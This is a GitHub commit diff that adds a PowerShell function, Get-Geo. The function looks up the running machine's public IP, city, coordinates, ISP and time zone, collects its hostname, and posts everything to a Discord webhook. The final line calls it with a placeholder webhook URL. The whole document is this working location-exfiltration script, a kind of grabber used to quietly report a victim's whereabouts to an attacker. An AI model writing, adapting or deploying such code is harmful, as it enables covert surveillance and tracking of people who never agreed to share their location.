File tree Expand file tree Collapse file tree 1 file changed +52
-0
lines changed Expand file tree Collapse file tree 1 file changed +52
-0
lines changed Original file line number Diff line number Diff line change
1
+ function Get-Geo {
2
+ Param (
3
+ [string ]$wb = " "
4
+ )
5
+
6
+ $ipInfoApiUrl = " http://ip-api.com/json"
7
+ $hostname = [System.Net.Dns ]::GetHostName()
8
+
9
+ try {
10
+ $response = Invoke-RestMethod - Uri $ipInfoApiUrl - Method Get
11
+ if ($response.status -eq ' success' ) {
12
+ $geoData = @ {
13
+ ' IP' = $response.query
14
+ ' Country' = $response.country
15
+ ' Region' = $response.regionName
16
+ ' City' = $response.city
17
+ ' Latitude' = $response.lat
18
+ ' Longitude' = $response.lon
19
+ ' TimeZone' = $response.timezone
20
+ ' ISP' = $response.isp
21
+ }
22
+ $geoLocation = New-Object PSObject - Property $geoData
23
+
24
+ if ($wb -ne " " ) {
25
+ $discordData = @ {
26
+ ' content' = " **Hostname:** $hostname
27
+ **IP Address:** $ ( $geoLocation.IP )
28
+ **Country:** $ ( $geoLocation.Country )
29
+ **Region:** $ ( $geoLocation.Region )
30
+ **City:** $ ( $geoLocation.City )
31
+ **Latitude:** $ ( $geoLocation.Latitude )
32
+ **Longitude:** $ ( $geoLocation.Longitude )
33
+ **Time Zone:** $ ( $geoLocation.TimeZone )
34
+ **ISP:** $ ( $geoLocation.ISP ) "
35
+ } | ConvertTo-Json
36
+
37
+ Invoke-RestMethod - Uri $wb - Method Post - Body $discordData - Headers @ {
38
+ ' Content-Type' = ' application/json'
39
+ }
40
+ }
41
+ }
42
+ else {
43
+ Write-Error " Failed to retrieve geolocation information."
44
+ }
45
+ }
46
+ catch {
47
+ Write-Error " An error occurred while trying to fetch geolocation data: $_ "
48
+ }
49
+ }
50
+
51
+
52
+ Get-Geo - wb " YOUR DISCORD WEBHOOK"
You can’t perform that action at this time.
0 commit comments